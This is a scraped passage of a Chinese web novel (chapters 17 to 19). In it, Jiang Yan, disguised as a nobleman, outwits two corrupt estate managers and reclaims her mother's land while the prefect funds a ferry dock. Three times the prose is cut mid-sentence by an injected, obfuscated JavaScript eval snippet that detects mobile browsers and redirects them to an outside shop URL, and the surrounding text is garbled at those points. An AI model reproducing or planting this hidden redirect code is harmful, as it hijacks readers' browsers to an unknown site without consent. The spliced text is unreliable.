姜琰查到了易家家主在青州为官时有宣帝拨赐的官田,南胤的官田是不可以买卖的,但可以世袭,所以“易见山”虽然不做官,但名下有官田是符合逻辑的。 况且要是让人知道有易家子弟捅了这么大的篓子,还是因为赌博输掉的,那不仅是违法,更多的是丢人。 对于这些世家大族来说,违法的话可以用各种手段来摆平,但是丢了面子,那可是要被同僚们耻笑的。 所以当福必成看了一眼账本后就知道,这人其实和自己没什么区别。 世家子弟又如何?还不是个赌鬼。 都是被贪婪奴役的人罢了。 福必成觉得眼前的人莫名的亲切起来了,相比他以前那拽的二五八万的样子,他觉得现在坐在他面前的人鲜活真实了起来——什么显贵公子,也和他差不多嘛,这人要不是含着金汤匙出生的,估计现在混得还不如他。 三人签署完地契以后,福必成得意且虚伪地笑着问道:“易老弟,要不要去我庄园聚一聚啊?” 姜琰看他一副自来熟的模样,面露鄙夷道:“福老板,本公子跟你很熟吗?” 福必成明显卡了一下,讪笑道:“还……还行?” 姜琰冲他翻了个白眼,踩着轿凳“蹬蹬蹬”地上了车。 原本还腆着脸笑地福必成也装不下去了,还未等她离开,脸就拉了下来,目光阴沉地看向马车,等他们离开后,康日吉美滋滋地弹了下手中的地契:“大哥,咱们又挣了一笔。” 福必成没理他,康日吉继续戳他道:“大哥!你怎么不说话了?” “大哥大哥大哥……” 福必成被他烦得不行,差点反手给他一个巴掌,喝道:“你有病啊!叫什么!” 康日吉被他吼懵了,呆呆地回道:“这可是金子啊……” 福必成恶狠狠地瞪了他一眼道:“你就知道金子!你眼里只有钱!鼠目寸光的家伙,滚远点!” 说完,只留下一脸懵逼的康日吉留在原地,自己气冲冲地走回了农庄。 康日吉不明白福必成为什么突然发火,见他越走越远,直至听不见自己的声音,他才抬脚猛地将脚边石子踹飞:“不过是一个靠抱女人大腿爬上去的杀人犯而已,还不如我呢,牛什么牛!” 他危险地眯起了眼睛,目光沉沉:“自己干得缺德事那么多,小心我都给你说出去!” “什么缺德事啊,康老爷你和我说说呗。” 温柔冷静地女声在他背后响起。 轰的一声,康日吉感觉自己背后发冷,浑身僵硬,他怎么也没想到背后会有人,对方悄无声息地就来到他的背后,一时间不知道是人还是鬼,想扭头去看但四肢僵劲不能动,只听对方又说道: “康老板为何不敢看我?觉得我是鬼吗?” 女子笑了,娇甜的声音泠泠回荡在雨后刮着凉风的空气中,窸窣树叶声中一丝虚浮的少女笑声,让他抖了一下。 他强撑着动了动脖子,一顿一顿地回过头,发现面前的女子笑得恬静,水蓝色的纱裙随风摇曳,如墨的秀发从肩上垂下,本应该是生动柔软的画面,却因为女子过于黑的瞳仁和苍白尖瘦的下巴而显得有些诡异。 他磕磕巴巴地问道:“你……你是……” 女子呵呵笑道:“我?” 就在同时,身后的马车疾驰而来,一个梳着双髻的丫鬟跑过来道:“小姐?小姐你怎么跑这么快啊!” 康日吉皱眉:“小姐?” 女子慢悠悠地行了个礼:“您是康老板吧。” 康日吉点点头。 女子接着说道:“您不认识我,我却认识您,准确来说您也不算是完全不认识我,毕竟您脚下的地,都是我的,想来你肯定也听过我的名字。” 康日吉惊恐地睁大眼睛道:“你、你是……” 女子点点头道:“小女名叫姜琰,刘漓玥是我的生母,我今天来,是要拿回我母亲的田产的。” 康日吉感觉自己脑子里嗡地一声炸开了,受不住地后退了一步:“你……你……” 田都卖了怎么还回去啊! 常禾掠过他,向前走去,见他还愣在原地,回首巧笑道:“我看这天就要变了,康老爷,咱们进去说吧?” 与此同时—— 城中百姓们都在传,今日的府衙不太一样。 城中商人们不知从哪里得知姜家不建渡口知府又开始重新目色实力雄厚的富商来修渡口,也不知道是谁传出来“这渡口建成以后能日进斗金”的谣言,一夜之间商会里有头有脸的商人竟然都争相来访,说自己愿意助田大人一臂之力,为自己的家乡做贡献,从街口到府衙门口的马车鳞次栉比,送礼的人几乎将府衙门槛踏破,这两天青州雨天较多,很多前来探路的小厮蹦跳着将地上的泥溅起来老高,很多养尊处优的富人看着这路这么磕碜都不愿意下脚,生怕脏了脚上的锦鞋。 田知半也想修一下府衙门前的路了,倒不是因为这路不好看,而是不想让百姓觉得自己依靠的政府这么穷,让他们心里不好受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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田知府一向秉持着“民有问,必答之”的原则,一听他说“草民”以为又有冤案,于是拦住小厮,让他把门打开,之前面前的男子一身明黄锦袍,袖镶金边,黑发束起以镶碧鎏金冠固定,即使静静站在那里,也是神韵超然。 只不过和他这张扬的衣着比起来,他的脸也太过于秀气了。 像个粉嫩的小公子,更像个富贵人家的千金。 田知半笑道:“草民?公子莫不是在说笑?到底有什么事?” 这人的穿着打扮比今天所有来府衙作客的富商们还要华贵,这么有钱来他这里做什么,也是来送钱的? 姜琰笑道:“倒是无事,不过草民昨晚做了一个梦,梦中似有天人对我说了一句话,我思来想去不懂,请大人帮我解解惑。” 田知半看这人有些疯癫,本不想搭理的,但又实在好奇他接下来想说什么,于是回道:“公子若是不懂,可以说给下官听听。” 姜琰道:“仙人对我说,从前有个官员,他觉得当地洪涝严重,于是想要兴修水利,可当地积贫已久,根本没钱建,朝廷也不管,于是他想了个法子——召集当地所有的有钱人,让他们出钱,但这钱也不是他们募捐的,得还,所以他和富人们商议,将这些债务按他们出资的比例偿还 可很快他又发现这样不行,因为水坝不挣钱,于是他又想了个法子——将他们的债务关系转换为股权关系,在年终时计算政府这一年的收入,按照出资比例连本带息归还原来修建水坝的钱。” 仙人说这叫债转股·古代版。 17.高端的计谋,往往采用最朴素的手段(四) 田知半听完她说的话,半懵半懂道:“啊?” “股权是什么意思?” 没听过,完全没听过。 “股权,即是初始的出资比例......”,姜琰想了想,“唔”了一声,觉得解释起来有些复杂,没必要说那么细,转移话题道,“不过您大可不必纠结这些措辞,您只需要把它理解为通过这种方式,府衙和富商们的关系从债务、债权关系变为合作关系就可以了。” 债转股一般是国有企业用来减轻负债的,其实并不适合地方政府,地方政府如果要为基础设施建设筹资一般是发行地方债,但姜琰不确定“把商贾们当成政府的债主”和“商贾们和地方政府合作”哪个更让人难以接受一点。 田知半是个思想超前的人,至少姜琰是这么认为的,毕竟也不是谁都能想到“招标”这种方法的。 但很显然,即使思想开放如田知半,听到她这个方法时也是如闻霹雳,好像一道雷劈在了天灵盖上,久久不知道该说些什么,姜琰从他的表情里看出了震惊、害怕、还有一丝丝的考量的意味。 唯独没有疑惑,她知道田知半这是明白了,于是站在门外,静待答复。 雨后的青州空气中有一种青草和泥土混合的气味,穿堂风吹过卷起她的衣袍下摆和袖边,少年身姿挺拔高挑,长身玉立于庭前,端的是丰姿奇秀,气质斐然。 田知半思忖片刻道:“公子,您进来吧。” 门外的风越刮越猛了,姜琰甚至能听到身上布帛被撑开的声音,她被冻得有些受不了,有些狼狈地向府衙内走去,而城外青白庄的福氏庄园内,常禾正慢条斯理地品着康日吉端上来的香茗。 福必成的脸色已经非常不好看了,谁能想到自己前脚刚把东家的地卖出去后脚人就找来了,易见山送来的那车金子还放在自家后院的书房里呢,要是被她看见他该怎么解释? 他看了一眼康日吉,后者眼神示意他赶紧把这祖宗糊弄走,但话还没说出口,就被常禾一句话堵在了嗓子眼儿:“多谢福老板款待,我瞧着您二位是个爽快人,那我就直接说了,我今日来到青州,是想收回我娘的田地的。” 福、康二人顿时松了口气:“还好,自己私藏田产的事情没被发现。” 但是...... 他们刚才已经把私藏的田产全卖出去了,如今再把自己手里的四十亩归还,那他们岂不是什么都没有了?! 二人面露难色,福必成说道:“姜小姐,这恐怕不妥吧。” 常禾皱眉问道:“有什么不妥?” 福必成有理有据地说道:“首先,这是当年你娘,虽然现在不是了,李氏交给我的,若是想要收回去,是不是需要李氏来做个见证呢;其次,福某经营田庄这么多年,没有功劳也有苦劳,您轻飘飘一句想拿回去就拿回去了,那置我这么多年的辛苦于何地呢,您将地收回去,我手下的那些佃户怎么生活,你.......” “你还有脸提那些佃户!” 常禾一看到他这副虚伪的嘴脸就觉得恶心,直接打断了他的话,方才她一进来便看到这偌大的庄园堂榭百余所,清流翠篠,树石幽奇,甚至还造了一座假山,引泉水萦回穿凿,竹间行径铺的是平石,他们穿的都是软缎薄底鞋,甚至不会在石头上留下划痕。 有的时候她也在疑惑,这些人赤足踩在泥地过吗,他们感受过丰收时麦子划过指尖又痒又痛的感觉吗,有在炎热的夏天被热到完全不顾体面赤着胳膊也要收粮食吗,汗液顺着他们黝黑的脸滑向褶皱的脖子上时,他们能在极度劳累时听到自己耳畔的心跳吗? 明明活在同一片土地上,为什么有的人辛苦劳作一辈子也吃不到一口自己种的粮,而他们却能大批大批的买卖农田呢。 他有什么脸敢提他们? 他午夜梦回时,难道不会听到墙缝里苦苦挣扎的冤魂的尖叫吗? 盼春在背后悄悄扯了下她的袖子,常禾意识到了自己的失态,看向满脸惊愕的福必成,强忍着忽略掉他脸上的无辜,故作生气道:“福老板,别以为我什么都不知道,在路上我可听说了不少你的事迹。” 福必成浑不在意道:“害。都是些道听途说罢了,这些农户不满我的安排,败坏我的名声而已,姜小姐不必在意,福某问心无愧。” 常禾听后忍不住笑了起来:“好一个问心无愧。” 她深深看了一眼福必成,逐渐冷静下来,将姜琰对她说得话一字不差地背下来:“那我现在来回答你的问题,第一,地契上写的是我娘的名字,不是李氏的,更不是你的,我想收回来就收回来,你无权干涉,至于农户们,不必担心,我一定会安排的比你好;第二,我想问你个问题,我看了你们给李氏送的账本了,我只有一个问题,这田地真的只有四十亩?” 霎时,福必成瞳孔骤缩,脑子里一道白光闪过,勉强稳住慌乱的心神道:“姜小姐何出此言?” 常禾不紧不慢道:“先不说那拙劣的改账手法,若李氏只给了你四十亩田,除去税钱和分给农户的,剩下的一年也就只有十几两银子左右,我看你这庄园修得如此气派,可不像是一年只挣十几两银子的人家。” 福必成强词夺理道:“我还有别的产业!” 常禾却嘲笑道:“那几个酒楼布庄是吧,本小姐早去看过了,生意惨淡,根本不怎么挣钱。” 福必成愣了一下,随后好像又想到了什么,突然硬气起来:“姜小姐是说我私吞你的田产?你可有什么证据?” 常禾脸上并无惧色,游刃有余地回道:“我不需要有证据。” 福必成觉得自己幻听了,又问了一遍:“什么?” 常禾坚定地重复了一遍:“我不需要有证据。” “为什么?” 常禾向后看了一眼,慢悠悠地坐下:“福大人可知我这次来青州是应了知府田大人的邀?” 福必成点点头。 常禾一拍手,伸手隔空点了点他:“我想如果我现在去请他带人搜查一下这个庄园和您在城中的宅邸,他应该不会拒绝吧。” 福必成眉头狠狠一跳,浑身犯冷,有种不祥的预感,但还是嘴硬道:“田大人是个好官,他不会为了钱这样的......” “哦?”常禾笑得狭促,“若我告诉他有乡绅隐藏田产逃税呢,一百亩田......以前是交粮食,现在摊丁入亩折成银子了,你逃了多少年就要补交多少年的税银,还要交罚款......” “知府大人现在忙着建渡口呢,据我所知正是缺钱的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080171|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,你说他会不会卖我个人情顺便再搜点银子出来呢?” 福必成感觉自己要晕倒了,身体站不住地向后趔趄了一下,常禾觉得话说到这儿已经仁至义尽了,看了盼春一眼,后者伶俐地走到她的身旁,将胳膊伸出来,常禾搭着她的胳膊起身道:“话我就说这么多了,福老板是个聪明人,请自行定夺吧,我的耐心不多,两天,要不交出剩下的地,要不你就去府衙吃板子。” 见姜琰要走,一直在后面当缩头乌龟的康日吉憋不住了,想要拦下她:“姜小姐,咱们有事好好商量......” “闭嘴。” 常禾瞪了他一眼:“你算什么东西?” 康日吉被她说得面色发涨,这几年富贵起来也没有以前那么没脸没皮了,恨恨咬着牙,就这么看着常禾渐渐走远,也没有去追。 人走茶凉,屋内气氛一下子凝重起来。 康日吉和福必成大眼瞪小眼,半晌,康日吉急道:“大哥,这可怎么办?” 此时,本应该和康日吉一样急得上蹿下跳的福必成却异常冷静,甚至开始分析起来:“这一百亩土地咱们是肯定没有了,户房那边我已经打点过了,她不可能没想到这一步,那她说让田大人搜查我们,能查出什么?” “当然是原来的地契和咱们的钱财啊,咱们府上这么多奇珍异宝,一对账不就知道不对了。” 刘氏原始的地契可以烧毁,但怎么和知府解释这些钱怎么来的,是个问题。 现在转移钱财肯定是来不及了,就算把家搬空,但他们还有那么多宅子、铺子、银票,这怎么藏,做假账也来不及了,余士玮也...... 他们也不会想到有一天会嫌弃自己手里的钱太多。 二人就这么想了一夜,两个榆木脑袋啥也没想出来,只能临时抱佛脚,守着府里的账房改了一夜能改的账本,两人家里都沉寂着一股死意,外面晴空万里,福、康二人的心却比晚秋的湖水还要凉。 就在二人觉得全都完了的时候,他们派出去跟踪易见山的小厮却回来了。 小厮一看老爷的书房前从门口到里屋全部铺满了账本和打包好的古董珍玩吓了一跳,两股战战地走进房内,对着一脸怨气地康日吉行礼道:“老爷我回来了。” 康日吉都火烧眉毛了,根本不想理他,开口骂道:“有事快说,没看到我在忙吗?” 小厮更加害怕了,惶恐道:“倒是没什么大事,就是看见易公子去了府衙,田大人好像还挺开心的,和他进了府衙,我站得远没听清,就听见了他们说渡口的事情,什么商人和官府合作一起修渡口.......” 他实在没记住那个词是什么,绞尽脑汁憋出来一句:“而且好像还能得利!” 一个账房竖着耳朵听了半天,听到这儿忍不住问道:“得利?怎么得利?这渡口都不一定有货船经过!” 那个小厮想了一会儿,灵光一闪终于把最重要的一句话想出来了:“好像不是按渡口盈利分钱,是按照......咦,那个叫什么来着,按照出资比例在年终分官府的总盈利。” “啪嗒”一声,账房的笔掉在地上,他被这话惊得目瞪口呆,懵了好一会儿“蹭”地站起来对着福必成大喊:“老爷,我可能知道怎么办了。” 18.高端的计谋,往往采用最朴素的手段(五) 康日吉一下子扔出手里的账本,跳起来骂道:“你又知道了,你知道什么了,赶紧把你手里的账做好,不然我要你好看!” 账房觉得这人不知好赖,苦口婆心道:“老爷,我真的知道用什么方法能让钱看起来‘不翼而飞‘了!’” 康日吉“呔”了一声:“你到底想不想在府上干了,不想干赶紧滚......” “让他说。” 福必成开口了,他现在的脸色实在很差,坐在太师椅上杵着降龙木手杖,脸上的法令纹耷拉到嘴角,眉眼间满是不耐:“你闭嘴。” 康日吉瞧不起天下所有的读书人,觉得他们别扭,每天穿个素色长衫手里拿卷书往那一站跟个木桩子似的,眼神呆滞,跟他们说话也费劲,爱钻牛角尖,嘴里背着“岂能为五斗米折腰”的句子,结果还不是来他这种人手下做事。 他瞧不起他们,有的时候也瞧不起福必成,觉得他“脏”,一个杀人犯,手里浸满了鲜血,和他不一样,他只是贪财而已,可天底下谁又不喜欢钱呢。 但这样的人,往往是最喜欢仗势欺人的人,谁天生就是厚脸皮呢,但面子这东西只有天潢贵胄才能拥有,像他们这种人,要想活得出人头地,就必须要放低姿态,巴结着比他强的,哄着他们,跪在他们脚边乞求上头扔下来几块肥肉给他。 他适时地闭嘴,只听那账房又说道:“老爷,咱们可以把钱全给那位易公子啊!” 康日吉一听这话火又冒起来了,觉得这简直是个馊主意,挽起袖子就像打人,却被福必成拦住:“你继续说。” “若知府大人真打算和商贾们合作,那我们不如把得来的钱全部交给易公子,以他的名义把钱给府衙,我们再和他写好每年分利多少,让他在年终的时候把属于我们的那份得利还给我们就好了。” 福必成眯着眼问道:“那如果我们把钱交给他了,他不还给我怎么办?” 账房嗐了一声,觉得这都不是问题:“如果这笔钱是从咱们钱庄走的呢?” 以钱庄的名义做一张假借条,这样年末分利的时候拿着这张借条去府衙分钱,易见山又不经常来青州,到时候有异议再把那张真契约拿出来就好,官府要查也无妨,这钱确实是走的钱庄的账,又确实有凭据有约定文书,怎么就不是真的了? 福必成沉默不语,康日吉也不说话,前者在思考,后者......纯粹是没听懂。 康日吉道:“你怎么能保证他一定会和我们合作?还有怎么把钱倒腾到钱庄里来?” 账房道:“把这些东西都当了。” 这下连福必成都愣住了,他又问了一遍:“当了?” 账房点点头:“让不同人拿着府里的东西去当行当了,或者和别人进行交易,以物换钱,可以用亲信,但一定要手续正规,当然没在账上的藏起来就行,拿到银票后再存到老爷您名下的钱庄里,但记得一定要是不同的人,最好查不出来他们和二位老爷的关系。” “至于如何能确保易公子和我们合作......这个嘛,我想他一定会的。” 康日吉听懂了,说话不再夹枪带棒:“何出此言?” 账房捋捋下巴上的山羊胡,有理有据分析道:“这事是他牵头的,如果他向田大人说了这个方法,却无人回应,这不是打他们的脸?他现在应该巴不得有人去找他。” “但......易家也不缺钱啊。” 账房的眼睛突然望向远方,好像在看数不清多少年的以前,自嘲道:“谁会嫌钱多呢?” 没人注意到他脸上刹那的虚无,福必成和康日吉觉得这个方法可行,总要试一下,于是招呼小厮将府中他们力所不能及的珍宝名画全部藏起来,剩下能卖的卖,账房们也将二人名下的宅邸铺子购入时间提前,成本降低,再把经营收益改的奇小无比,让人看一眼只能说出一个惨字。 甚至连同易见山送来的那一车金子也都化成银票存入钱庄,他们又托还在青州的八竿子打不着的远亲再将钱借出来,拿着一沓银票去找易见山了。 所有人都觉得这钱现在干净的不得了,姜琰要查就去查吧,到了府上看见家徒四壁的福府和康府,不叫她傻眼才怪! 本来是天衣无缝的计划,但他们却忽略了一个前提——如果所有人说得都是真话,如果易见山真的是易见山,姜琰也真的是为了要回田地,那他们的计划简直堪称完美,可惜这一切都只是姜琰谎言的一个泡影,就像他们这十几年来的富贵一样,都是黄粱一梦罢了。 姜琰正收拾行李的时候,福必成找到她下榻的客栈来了,他轻敲着她的门。 傍晚十分,也就是在他们疯狂倒卖名下财产的时候,经过府衙门口的小厮看见了门前的告示,上面写着府衙诚求商贾们合作修建渡口,以及后续还钱返利的方法也都示意了出来,引起门口百姓的一片哗然,不少人都在议论这官府是不是脑子出了问题,这张在风中摇摇欲坠的薄纸给了所有人重重一击。 这件事被青州商会里的商人得知后,胆子小的在和别人商量这钱该不该给,给了有没有什么风险,然而胆子大的人已经偷偷从后门溜出去提着钱去见田知半了。 这些人里,就有第五章。 他还“恰巧”被别人看见了。 第五章在他们这里就是信誉的代名词,商人见他都拿着钱去投资了,这渡口肯定有利可得,于是一呼百应,青州府衙的门槛这回是彻底被踏破了。 —— “谁?” 姜琰明知故问道。 福必成在门外小声道:“易公子,是我,福某。” 姜琰吩咐尚归将门打开,这人贼眉鼠眼地环顾了一周,姜琰嘲讽道:“福老板这是怎么了,难道发现我那一车金子是假的?” 福必成身形一顿,不可置信道:“是......是假的吗?” 姜琰哈哈大笑道:“我和福老板开个玩笑”,说完,她正色道,“到底怎么了,有话赶紧说,我易某人没有太多的耐心。” 福必成讪笑道:“啊......是鄙人不识抬举了,我来找公子,是想问问您是否听说知府与商贾合作修渡口一事?” 姜琰哼道:“当然,不过与你何干?” 福必成道:“公子也打算参与此事吗?” 姜琰闻言立即皱起眉头,语气里带着不悦:“我是否参与和你有什么关系?福老板手是不是伸得太长了?” 福必成惶恐道:“不敢不敢,只是鄙人一听到能搭上官府这条线,有些心动。” 姜琰:“你想去就拿着钱去啊,城中富商不都提着钱去了吗?” 福必成支支吾吾道:“田大人哪有功夫见我们这些小鱼小虾,我想见他,他估计还不待见我们嘞!” 姜琰觉得他今日实在鬼怪,闻言抬头微微前倾盯着他,眼睛危险地眯了起来,就像在看猎物一样,福必成紧张地吞了口口水,见她迟迟不说话,只好硬着头皮把话接着说完:“福某想的是,若您也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101601|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去参一份,是否能将我的钱一起带去呢,我也想多挣点钱嘞......” 姜琰像在看戏台上的丑角一样看着他,福必成也觉得自己现在一定很滑稽,面子上挂不住了,弯下来的腰也有些酸痛,腿也站不住了,脑袋充血,甚至还能听见自己的心跳声,偌大的客栈里只有烛火噼啪舔舐蜡烛的声音。 姜琰此时却来了一句:“弯腰的感觉不好受吧。” 福必成不知道她这句话有什么深意,老实回道:“还......还好。” 姜琰扫了他一眼,又继续低头写着什么,从他一进门开始她就在写东西,他想伸着脖子偷看一眼却被她发现,她说:“你要投多少?” 福必成伸出手,比了个“贰”。 姜琰:“两千两?” 福必成尴尬道:“......是两万。” 这下轮到姜琰震惊了:“两万两?你一个乡绅哪来这么多钱?” 福必成解释道:“我变卖了一些祖上的宅子、珍玩名画,但是里面最多的还是您买我田地的钱。” 姜琰:“嗯?这个为什么还要拿出来?” 福必成:“我觉得知府大人不至于言而无信,他说能挣钱就一定能挣钱,我打算把所有的家产拿出来搏一搏。” 姜琰:......我就快信了。 姜琰见福必成如此恳切,竟破天荒的说:“不知道你在搞什么鬼,但是如果你这么想参与这件事,我可以帮你引荐一下。” 福必成开始慌了,谦虚道:“不不不,不用引荐,您如果参与的话,以您的名义一起交了就行。” 姜琰表情开始古怪起来,质疑道:“以我的名义?为什么?” 豆大的汗珠从他脑门上流下,不知是不是他的错觉,他总觉得这屋子也太热了,是不是烧炭了? 他一边想一边回道:“我拿出来的钱虽然远超我能力范围,但是却不是这些商贾里出资最多的,万一名额满了,我这产业不是白卖了吗?而且就算易公子您好心帮我引荐,但排队的人这么多,总要有个先来后到不是,您也不是那种仗势逼人的人,过两天您一走,万一田大人把这事忘了怎么办,我一介草民,怎敢去质问大人啊?” 姜琰觉得福必成这人思维还是挺清晰的,还真不是康日吉那种草包,说出来的理由竟让他无法反驳,省去了不少时间,直接顺水推舟道:“说得也是,但咱们得写个东西,证明这钱是你的,万一你这钱来的不干不净,可别害了我。” 福必成在心中狂喜:我正有此意! 连忙点头哈腰道:“是是是,咱肯定得写清楚,公子不必担心。” 姜琰从手边抽出来一张纸,用笔蘸了蘸墨水,斟酌两下遍飞速动笔,没一会儿就写完了递到福必成面前道:“福老板看看我写的对否?” 福必成来之前已经问了账房这东西应该怎么写,他仔细看了一遍,发现上面的内容和府中账房说得几乎一样,连他嘱咐的重点的东西也有,顿时对易见山产生了好感:这人还不算纨绔嘛,至少没有趁机拿点好处。 他也着急当这个甩手掌柜,想也没想就签字画押。 其实只要他稍微动动脑子就知道——怎么可能这么顺利? 可惜唯一能劝阻他的余士玮也不在了。 待他走后,姜琰立刻动身去到府衙,在银票里抽出自己那一车黄金所值的价钱后把剩下的全交给了田知半。 这也算是他这辈子做过的唯一好事了,姜琰想。 19.第 19 章 “告辞。” 月明星稀,巫山拔地而起,将零星的光亮截断,阴影覆盖在大地上,马儿喘着粗气,姜琰提灯向第五章一行告别,潮湿溽热的夏夜里,甚至能听见树叶上落下的水滴声,马灯随着马儿的不耐摇晃,人影幢幢,将他们的影子拉得老长。 “姜小姐,此去经年,没准儿下次你再见我,我已经老得不成样子啦......哈哈。” 第五章突然有些感慨,看着那双和故人相似的面容,他突然眼眶发涨。 姜琰看着第五章突然悲春伤秋,心中也跟着唏嘘,虽然她完全不知道这种莫名的情绪从何而来,大抵是因为第五老爷是个好人。 第五章这么聪明,怎么会不知道她葫芦里卖的什么药,可她说想让他帮个忙,去一趟府衙,哪怕不用真的给钱他也去了,不仅去了,还真金白银的投资了,如果没有他,她不可能这么顺利地把他们的钱套出来,一开始她以为他是想邀功,可仔细想想自己又没有什么可以被图谋的,第五章也算是富甲一方怎么会看上她那一堆账还没理清的产业,若是贪图美貌,那更不可能了,第五章为人正直、端方,虽是商贾却处处尊礼明德,可谓君子,对她那也是相当有分寸的,从不逾矩,而且要不是第五章没老婆,他都可以生出她来了。 思来想去她也不明白第五章为什么这么帮她,但她也没时间纠结了,地契和钱已经拿到手,剩下的事情也吩咐常禾去做了,明日便是初六,她要在沈瑜春他们走之前回去。 盼春已经来催了,现在已经子时,若不快点上路,怕是赶不回去,她又看向第五章和他身后的尚归,庄重行礼道:“多谢,望珍重。” 第五章温和地笑道:“姜小姐也是。” 姜琰上车了,马车前的风铃发出叮当响声,在马车离开山丘时,姜琰突然将车窗帷帘用力掀开,拼命伸出头去,大喊一声:“后会有期!” 远处的第五章笑容一滞,一滴泪从他眼角划过。 尚归见他落泪,从怀中掏出一张方巾,上面绣着一朵并蒂莲。 第五章拿过帕子,对着月光仔细看了看,恍惚道:“她的?” 尚归点点头。 第五章:“我不要。” 尚归“切”了一声:“爱要不要,我还不稀得给。” 第五章瞪了他一眼,将帕子拿过去,小心地叠好放进怀里,仆从上前问道:“老爷是否登车?” 第五章摇摇头,向前走去。 尚归屁颠屁颠跟了上去,调侃他道:“喂,老头子,你怎么不跟她说你和她的事?” 第五章又瞪了他一眼,回答道:“跟她说干什么,漓玥走了这么些年了,不提也罢。” 尚归挑了下眉:“嘴硬,心里还不是一直想着人家。” 第五章“嘶”了一声,作势要打他,尚归把自己腰间的短剑拔了出来,作势要冲他挥去,未料看起来笨重发福的男子竟然灵活躲过,反唇相讥道:“有本事说我,没本事把这剑扔了?你不也在想她?” 此话一出,尚归立刻收剑:“这不一样。” 第五章:“有何不同?” 尚归没说话,他想起那年梧桐树下,年幼的他啃着别人不要的饼,一位仙姿佚貌的女子经过,见他可怜,鬼使神差地伸出手对他说:“跟我回家吧,从此以后你便不会挨饿了。” 尚归离家早,外面世道险恶,一不留神就会被坏人抓去挖眼短腿扔到街上帮他们乞讨,因此他比同龄人更会察言观色,一眼就能看出这人是不是诚心的。 但眼前的女子眼里始终带着淡淡的笑意,尚归觉得她没坏心思,于是跟她回了家。 她将他带回刘家,教他诗书,见他对剑术感兴趣,便找游侠授他剑术,因为从小瘦弱的原因,他拿不起长剑,她便命人给他打了把短剑,上面还镶着一块红石头,死人堆里出来的小孩没见过这东西,以为是血,擦了半天,被她知道后还心疼地把他搂在怀里。 一晃十几年过去,他至今记得那天阳光暖洋洋的,洒在他身上,当时地里的油菜花开了,满地的金黄和她身上青绿色的素衣形成对比,她的身上有种淡淡的,很好闻的香味,温热的身体将他包裹住,尚归那天很开心,他觉得自己又回到了死去母亲的怀抱里。 他问她:“你会离开我吗?” 她说:“尚归乖,我有空就回来看你。” 可说完这句话以后,她就走了,他等了很久,眼前地里的油菜花都不知道开了几遍了,终于有一天,有人来看他了,但却是一个年轻的、长相斯文的男人。 那男人好像很伤心,眼睛都哭肿了,他问他是刘家大小姐的人吗,男人听到这句话更伤心了,崩溃地蹲在地上,他说她不在了。 他把他接到府上,他说他叫第五章。 他问他:“你和她什么关系?” 第五章想了很久,最后叹了口气说道:“故人吧。” 男人很有钱,尚归觉得他跟着他也不亏,而且不知道为什么,这人不娶妻生子,书房里常年挂着一张她的画像,他经常盯着这张画像出神。 他和他一样在思念着她。 ... 尚归伸手去夺帕子,第五章不给,二人闹着闹着,第五章也没了力气,弯着腰扶膝低喘,看着尚归跟没事人一样抱胸睨眼看他,突然笑出了声。 尚归觉得莫名其妙,但是看着眼前的男人笑,他也忍不住,轻笑了一声。 第五章快活地叹了口气,整理了一下衣服,和尚归一起向前走去,融入了这无边的夜色中。 就像一滴水和谐地融入大海里。 —— 姜琰坐在颠簸的马车里,数着手中的地契和银票,脸上乐开了花:“这下农田也是我的了,银子也是我的了,真好啊。” 盼春其实不太明白自家小姐都做了什么,只知道今夜以后福必成康日吉倾家荡产,常姑娘留在了常庄过几天就带着府衙的人把他们赶出自己的家园,事情终于告一段落,自己终于能陪在小姐身边,于是高呼道:“小姐最厉害!小姐无所不能!” 姜琰苦笑一声,盼春现在应该是她最大的粉头,于是开玩笑道:“盼春,你现在是我的粉丝了。” 盼春:“什么粉丝?想吃肉末粉丝。” 姜琰:“......等回去吧,还想吃什么?” 盼春绞着手指头报菜名:“烧鹅、炒鸡、酥酪、香饮子......” 姜琰听她说,腮帮子一酸,差点流口水:“挺会吃啊。” 盼春:“小姐又笑我!” 姜琰失笑,盼春脸皮薄,被她这么一笑从脖子红到耳根,刚想说两句辩解的话,就听见一声嘶鸣,下一刻马车向前翻去,姜琰和盼春二人一个倒栽葱从坐上滑跪下来,还好停住及时,马车又大,才没跌出车外。 姜琰的手掌被擦破了皮,一条血道在掌心划开,看起来挺吓人的,实际不疼,但她还是被吓得叫了一声。 盼春连忙用手帕把她的手裹起来,然后掀开帘子,发怒道:“怎么回事?” 车夫也觉得自己倒霉,摊手道:“夜太黑看不清,前面有个大石头把轮子卡住了。” 姜琰伸头问:“还走得了吗?” 车夫一撇嘴:“够呛,得找人一起把轮子拔出来。” 姜琰:“那怎么办?我们一起能把轮子弄出来吗?” “应该不行,得多来几个,毕竟这车也沉。” 姜琰:真是一波未平,一波又起。 她有点担心明天能不能及时赶回去了。 